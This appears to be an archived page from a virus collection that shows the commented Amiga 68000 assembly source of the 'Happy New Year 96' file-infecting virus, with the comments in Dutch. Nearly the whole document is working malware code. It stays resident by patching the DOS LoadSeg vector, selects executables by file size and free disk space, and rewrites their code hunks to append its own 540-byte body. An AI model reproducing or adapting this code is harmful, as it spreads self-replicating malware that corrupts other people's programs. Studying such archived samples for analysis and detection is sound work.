home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
telefisk.org
/
virusCollection.lzx
/
VirusCollectie
/
h
/
hny96
/
HNY96a.asm
< prev
next >
Wrap
Assembly Source File
|
2022-12-23
|
12KB
|
272 lines
;-BEGIN VIRUS!!!-
; Happy New Year 96 core code
; found in monam, some-demo-i-dont-know
; routines are the core and found in both programs
_LVOOpen EQU -30
_LVOClose EQU -36
_LVORead EQU -42
_LVOWrite EQU -48
_LVOAllocVec EQU -684
_LVOFreeVec EQU -690
_LVOOpenLibrary EQU -552
_LVOCopyMemQuick EQU -630
_LVOExamine EQU -102
_LVOInfo EQU -114
_LVOLock EQU -84
_LVOUnLock EQU -90
ABSEXECBASE EQU $4
EXT_003E EQU $2300E0
HUNK_CODE EQU $03E9
ID_VALIDATED EQU $52
ACCESS_READ EQU -2
LAB_0004:
MOVEM.L D0-D7/A0-A6,-(A7) ;004C: 48E7FFFE save register op stack
MOVEA.L (ABSEXECBASE).W,A6 ;0050: 2C780004 sla execbase adres op in A6
LEA dosname(PC),A1 ;0054: 43FA01EE laad dosname in A1
MOVE #$4E75,-504(A1) ;0058: 337C4E75FE08 copieer RTS naar begin van programma
MOVEQ #37,D0 ;005E: 7025 versie 37 van dos lib
JSR _LVOOpenLibrary(A6) ;0060: 4EAEFDD8 OpenLibrary (dos,37)
PATCH:
MOVE.L D0,D7 ;0064: 2E00 copieer ptr naar dos lib in D7
BEQ.S Exit ;0066: 6742 spring naar Exit wanneer error
MOVEQ #0,D1 ;0068: 7200 zet D1 op 0
MOVEQ #16,D0 ;006A: 7010 zet D0 op 16
LSL.L #8,D0 ;006C: E188 shift D0 naar links, 8-bit, = 4096
JSR _LVOAllocVec(A6) ;006E: 4EAEFD54 AllocVec() (reserveer geheugen)
MOVEA.L D0,A5 ;0072: 2A40 copieer geheugen adres in A5
BEQ.S Exit ;0074: 6734 exit wanneer error
MOVEA.L A5,A1 ;0076: 224D copieer A5, geheugen adres, naar A1
LEA LAB_0004(PC),A0 ;0078: 41FAFFD2 laad ptr naar LAB_0004 in A0
MOVEQ #16,D0 ;007C: 7010 D0=16
LSL.L #8,D0 ;007E: E188 shift D0 naar links, 8-bit, 4096
JSR _LVOCopyMemQuick(A6) ;0080: 4EAEFD8A CopyMemQuick() (A0,A1,D0) = (src,dest,len)
JMP 60(A5) ;0084: 4EED003C spring naar MEMJMP
MEMJMP:
MOVEA.L D7,A0 ;0088: 2047 copieer dos pointer naar A0
LEA LAB_0006(PC),A1 ;008A: 43FA0024 laad LAB_0006 in A1
MOVE.L D7,400(A1) ;008E: 23470190 stop dos pointer in dosopslag
MOVE #$48E7,-100(A1) ;0092: 337C48E7FF9C copieer $48E7 naar PATCH
MOVEA.L -148(A0),A2 ;0098: 2468FF6C copieer adres midden in LoadSeg()??? naar A2
CMPI #$2F08,(A2) ;009C: 0C522F08 check of MOVE.L A0,-(a7) in loadseg aanwezig is, al actief?
BEQ.S Exit ;00A0: 6708 yep, al aanwezig, exit
MOVE.L A2,12(A1) ;00A2: 234A000C copieer data naar 12 longs achter A1
MOVE.L A1,-148(A0) ;00A6: 2149FF6C copieer LAB_0006 in LoadSeg()????? routine
Exit:
MOVEM.L (A7)+,D0-D7/A0-A6 ;00AA: 4CDF7FFF Zet stack terug
RTS ;00AE: 4E75 einde routine
LAB_0006:
MOVE.L A0,-(A7) ;00B0: 2F08 sla A0 in stack op
LEA variabel_0(PC),A1 ;00B2: 43FA0188 haal variabele op
MOVE.L D1,(A1) ;00B6: 2281 copieer D1=prog naam pointer naar variabel_0
MOVEA.L (A7)+,A0 ;00B8: 205F haal A0 van stack
JSR EXT_003E ;00BA: 4EB9002300E0 EXT_003E EQU $2300E0
TST.L D0 ;00C0: 4A80 returned ok?
BEQ.S Exit_2 ;00C2: 670A nee, einde. (rts)
MOVEM.L D0-D7/A0-A6,-(A7) ;00C4: 48E7FFFE registers op stack
BSR.S LAB_0008 ;00C8: 6106 branche 2 sub LAB_0008
MOVEM.L (A7)+,D0-D7/A0-A6 ;00CA: 4CDF7FFF registers van stack
Exit_2:
RTS ;00CE: 4E75 einde routine
LAB_0008:
MOVEA.L variabel_0(PC),A0 ;00D0: 207A016A copieer adres van variabel_0 naar A0
MOVEA.L A0,A4 ;00D4: 2848 copieer A0 naar A4
MOVEQ #45,D2 ;00D6: 742D copieer 45 in D2
MOVEQ #46,D3 ;00D8: 762E copieer 46 in D3
MOVEQ #108,D4 ;00DA: 786C copieer 108 in D4
; Routine wacht tot A0, 45 of inhoud van variabel_0 leeg is
LAB_0009:
TST.B (A0) ;00DC: 4A10 byte test van inhoud eerste byte van A0
BEQ.S LAB_000A ;00DE: 670E eerste byte leeg? spring naar LAB_000A
CMP.B (A0),D2 ;00E0: B410 inhoud van variabel_0 = 45?
BEQ.S Exit_2 ;00E2: 67EA ja, spring naar Exit_2
CMP.B (A0)+,D3 ;00E4: B618 nee, inhoud van variabel_0 = 46?
BNE.S LAB_0009 ;00E6: 66F4 nee, spring naar LAB_0009
CMP.B (A0),D4 ;00E8: B810 ja, inhoud van variabel_0 = 108 ??
BEQ.S Exit_2 ;00EA: 67E2 ja, spring naar Einde
BRA.S LAB_0009 ;00EC: 60EE nee, spring naar naar begin
LAB_000A:
MOVEA.L dosopslag(PC),A6 ;00EE: 2C7A0150 copieer dospointer naar A6
MOVE.L A4,D1 ;00F2: 220C copieer ptr naar variabel_0 in D1 (naam van te locken file)
MOVEQ #ACCESS_READ,D2 ;00F4: 74FE D2 = ACCES_READ
JSR _LVOLock(A6) ;00F6: 4EAEFFAC maak Lock
MOVE.L D0,D7 ;00FA: 2E00 copieer Lock op file ??? naar D7
BEQ.S Exit_2 ;00FC: 67D0 bij error naar Exit_2
LEA LAB_003A_1(PC),A5 ; copieer LAB_003A_1 naar A5
MOVE.L D7,D1 ;0102: 2207 copieer D7 naar D1 (lock naar D1) (param 1)
MOVE.L A5,D2 ;0104: 240D copieer adres van infoblock reservering in D2 (param 2)
JSR _LVOExamine(A6) ;0106: 4EAEFF9A examine (D1,D2)
MOVE.L D7,D1 ;010A: 2207 D7 naar D1 (lock weer naar D1) (param 1)
MOVEA.L A5,A3 ;010C: 264D copieer infoblock met data naar A3
ADDA.L #$00000200,A3 ;010E: D7FC00000200 bytesperblock=512??
MOVE.L A3,D2 ;0114: 240B copieer infoblock naar D2 (param 2)
JSR _LVOInfo(A6) ;0116: 4EAEFF8E Info (D1,D2)
MOVE.L D7,D1 ;011A: 2207 lock weer naar D1
JSR _LVOUnLock(A6) ;011C: 4EAEFFA6 UnLock D1
CMPI #ID_VALIDATED,10(A3) ;0120: 0C6B0052000A check of disk gevalideerd is
BNE.S Exit_2 ;0126: 66A6 nee, exit
MOVE.L 12(A3),D0 ;0128: 202B000C NumBlocks naar D0
MOVE.L 16(A3),D1 ;012C: 222B0010 NumBlocksUsed naar D1
MOVEQ #4,D2 ;0130: 7404 copieer 4 naar D2
SUB.L D1,D0 ;0132: 9081 NumBlocksUsed-NumBlocks
CMP.L D2,D0 ;0134: B082 is D0 kleiner dan D2?
BLT.S Exit_2 ;0136: 6D96 ja, exit
MOVE.L 124(A5),D5 ;0138: 2A2D007C copieer fib_size (omvang van file in bytes) naar D5
CMP.L #$00000960,D5 ;013C: BABC00000960 is D5 kleiner dan 2400
BLT.S Exit_2 ;0142: 6D8A ja, te klein, exit
CMP.L #$0001E460,D5 ;0144: BABC0001E460 is D5 kleiner dan 124000
BGT.S Exit_2 ;014A: 6E82 nee, te groot, exit
MOVE.L D5,D0 ;014C: 2005 ja, copieer fib_size naar D0
MOVEQ #0,D1 ;014E: 7200 maak D1 leeg
MOVEA.L (ABSEXECBASE).W,A6 ;0150: 2C780004 haal execbase adres op
JSR _LVOAllocVec(A6) ;0154: 4EAEFD54 alloceer geheugen (d0,d1)
MOVE.L D0,D7 ;0158: 2E00 copieer adres op geheugen naar D7
BEQ Exit_2 ;015A: 6700FF72 error geen geheugen vrij, exit
MOVEA.L dosopslag(PC),A6 ;015E: 2C7A00E0 haal doslib pointer op
MOVE.L #$000003ED,D2 ;0162: 243C000003ED copieer (HUNK_Reloc16 ???) naar D2
BSR openfile ;0168: 610000C0 spring naar openfile
BEQ Exit_2 ;016C: 6700FF60 error, exit
MOVE.L D6,D1 ;0170: 2206 copieer lock naar D1
MOVE.L D7,D2 ;0172: 2407 copieer geheugen adres naar D2
MOVE.L D5,D3 ;0174: 2605 copieer file size in bytes naar D3
JSR _LVORead(A6) ;0176: 4EAEFFD6 Lees data in geheugen (D1,D2,D3) (lock,geheugen,size)
BSR closefile ;017A: 610000B8 sluit file
MOVEA.L D7,A3 ;017E: 2647 copieer geheugen adres naar A3 (nu met file data dus)
MOVE.L #$00000087,D4 ;0180: 283C00000087 copieer 135 in D4
LEA 20(A3),A0 ;0186: 41EB0014 copieer adres vanaf 20bytes (waarschijnlijk start van prog) naar A0
MOVE.L (A0),D0 ;018A: 2010 copieer inhoud adres A0 naar D0
ADD.L D4,(A0) ;018C: D990 voeg 135 toe aan inhoud op adres van A0
LAB_000B:
MOVE.L (A0)+,D1 ;018E: 2218 copieer A0 en tel 1 erbij op. copieer hunk_code id
ANDI.L #$00FFFFFF,D1 ;0190: 028100FFFFFF
CMP.L #HUNK_CODE,D1 ;0196: B2BC000003E9 hebben we hier een HUNK_CODE?
BNE.S LAB_000B ;019C: 66F0 nee, spring naar LAB_000B
ANDI.L #$00FFFFFF,D0 ;019E: 028000FFFFFF ja...
CMP.L (A0),D0 ;01A4: B090 D0 bevat zelfde als (A0)? (lengte van code)
BNE.S Exit_3 ;01A6: 6676 nee, spring naar Exit_3
MOVE.L (A0),D1 ;01A8: 2210 copieer lengte van code die volgen gaat naar D1
ADD.L D4,(A0)+ ;01AA: D998 voeg 135 toe aan A0, 1 bytes achter na lengte van code
LSL.L #2,D1 ;01AC: E589 maak er een adres van (??)
ADDA.L D1,A0 ;01AE: D1C1 voeg size toe aan programma??
MOVE.L A0,D4 ;01B0: 2808 copieer adres van code naar D4
MOVE.L A0,D1 ;01B2: 2208 hetzelfde naar D1
CMPI.L #$65772059,-14(A0) ;01B4: 0CA865772059FFF2 gevonden?
BEQ.S Exit_3 ;01BC: 6760 ja, spring naar Exit_3, moeten we niet hebben...
CMPI #$4E75,-(A0) ;01BE: 0C604E75 nee, gelijk?
BNE.S LAB_000C ;01C2: 6606 nee, spring naar LAB_000C
MOVE #$4E71,(A0) ;01C4: 30BC4E71 copieer $4E71 in adres A0
BRA.S LAB_000F ;01C8: 601A spring naar LAB_000F
LAB_000C:
MOVEQ #63,D0 ;01CA: 703F copieer 63 in D0
LAB_000D:
CMPI #$4E75,-(A0) ;01CC: 0C604E75 check...
BEQ.S LAB_000E ;01D0: 6706 rts gevonden spring naar LAB_000E
SUBQ.L #1,D0 ;01D2: 5380 verminder D0 met 1
BNE.S LAB_000D ;01D4: 66F6 zero flag niet gezet, error, terug begin routine
BRA.S Exit_3 ;01D6: 6046 spring naar Exit_3
LAB_000E:
MOVE #$6000,(A0) ;01D8: 30BC6000 copieer $6000 in locatie op adres in A0
SUB.L A0,D1 ;01DC: 9288 haal A0 van D1 af
SUBI #$0002,D1 ;01DE: 04410002 haal $0002 (2) van D1 af
ADD D1,(A0) ;01E2: D350 voeg D1 aan locatie op adres A0 toe
LAB_000F:
MOVE.L #$000003EE,D2 ;01E4: 243C000003EE copieer 1006 (HUNK_Reloc8??) in D2
BSR.S openfile ;01EA: 613E open file
BEQ.S Exit_3 ;01EC: 6730 error, exit_3
MOVE.L D6,D1 ;01EE: 2206 lock op file
MOVE.L D7,D2 ;01F0: 2407 geheugen adres
MOVE.L D4,D3 ;01F2: 2604 copieer adres van code
SUB.L D7,D3 ;01F4: 9687 haal adres van adres af = lengte
JSR _LVOWrite(A6) ;01F6: 4EAEFFD0 !!!-> Write Hunk spul weg
MOVE.L D6,D1 ;01FA: 2206 copieer lock weer in D1
LEA LAB_0004(PC),A0 ;01FC: 41FAFE4E haal begin van virusroutine weer op
MOVE.L A0,D2 ;0200: 2408 copieer virus routine adres in D2
MOVE.L #$0000021C,D3 ;0202: 263C0000021C copieer 540 in D3 (lengte van virus prog)
JSR _LVOWrite(A6) ;0208: 4EAEFFD0 !!!-> schrijf virus in file
MOVE.L D6,D1 ;020C: 2206 copieer lock in D1
MOVE.L D4,D2 ;020E: 2404 copieer lengte in D2
ADD.L D7,D5 ;0210: DA87 copieer geheugen adres naar D5
SUB.L D4,D5 ;0212: 9A84 haal code adres van geheugen adres af = lengte van code
MOVE.L D5,D3 ;0214: 2605 copieer lengte naar D3
JSR _LVOWrite(A6) ;0216: 4EAEFFD0 schrijf de boel weg
BSR closefile ;021A: 61000018 sluit de file
Exit_3:
MOVEA.L D7,A1 ;021E: 2247 copieer geheugenadres naar A1
MOVEA.L (ABSEXECBASE).W,A6 ;0220: 2C780004 execbase adres
JSR _LVOFreeVec(A6) ;0224: 4EAEFD4E FreeVec()
RTS ;0228: 4E75 Einde routine/programma
openfile:
MOVE.L A4,D1 ;022A: 220C copieer naam van file naar D1
JSR _LVOOpen(A6) ;022C: 4EAEFFE2 Open file
MOVE.L D0,D6 ;0230: 2C00 copieer lock naar D6
RTS ;0232: 4E75 einde subroutine
closefile:
MOVE.L D6,D1 ;0234: 2206 copieer lock naar D1
JSR _LVOClose(A6) ;0236: 4EAEFFDC Sluit file
RTS ;023A: 4E75 einde routine
variabel_0:
DC.W $0030 ;023C 00 '0'
DC.W $639D ;023E 'c' 157
dosopslag:
DC.W $0020 ;0240 !!!!!!!
ROXR.B #5,D4 ;0242: EA14 ??????? LONG ???
dosname:
dc.b 'dos.library',0 ;244
dc.b '<> Happy New Year 96! <>',0
even
LAB_003A_1:
OR (A2),D1 ;044C: 8252
ADDX.B D0,D0 ;044E: D100
MOVE.L (A0),D1 ;0450: 2210
MOVE D1,(A5)+ ;0452: 3AC1
DC.W $A702 ;0454
DC.W $6AE1 ;0456
BCHG D0,D3 ;0458: 0143
BCHG D4,D4 ;045A: 0944
DC.W $002B ;045C
AND.L 2112(A4),D6 ;045E: CCAC0840
DC.W $0EC2 ;0462
SUBX.B D0,D3 ;0464: 9700
DC.W $28AF ;0466
DC.W $07F5 ;0468
DC.W $C1A8 ;046A
DC.W $93FB ;046C
OR.B D4,(A1)+ ;046E: 8919
ANDI #$CFE7,-(A0) ;0470: 0260CFE7
ROR.B #6,D1 ;0474: EC19
ASR.L #6,D0 ;0476: EC80
MULS 20288(A3),D7 ;0478: CFEB4F40
ORI.L #$50021C18,-(A7) ;047C: 00A750021C18
MOVE.L D0,-(A5) ;0482: 2B00
MOVE.L D6,(A0)+ ;0484: 20C6
DC.W $FF66 ;0486
EOR.B D6,D1 ;0488: BD01
CHK D0,D3 ;048A: 4780
DC.W $0435 ;048C
DC.W $3796 ;048E
MOVE.L D5,-(A5) ;0490: 2B05
DC.W $0571 ;0492
OR D0,D2 ;0494: 8440
DC.W $7519 ;0496
ADDX.B D5,D0 ;0498: D105
BCHG D0,(A2)+ ;049A: 015A
DC.W $FBBB ;049C
DC.W $1787 ;049E
EOR.L D3,D0 ;04A0: B780
SUB.L (A5),D6 ;04A2: 9C95
DC.W $02B7 ;04A4
DC.W $35C0 ;04A6
DIVS -(A7),D2 ;04A8: 85E7
DC.W $2430 ;04AA
DC.W $A311 ;04AC
DC.W $D0B3 ;04AE
AND.B -(A3),D0 ;04B0: C023
BSET D3,(A1)+ ;04B2: 07D9
; -END OF VIRUS!-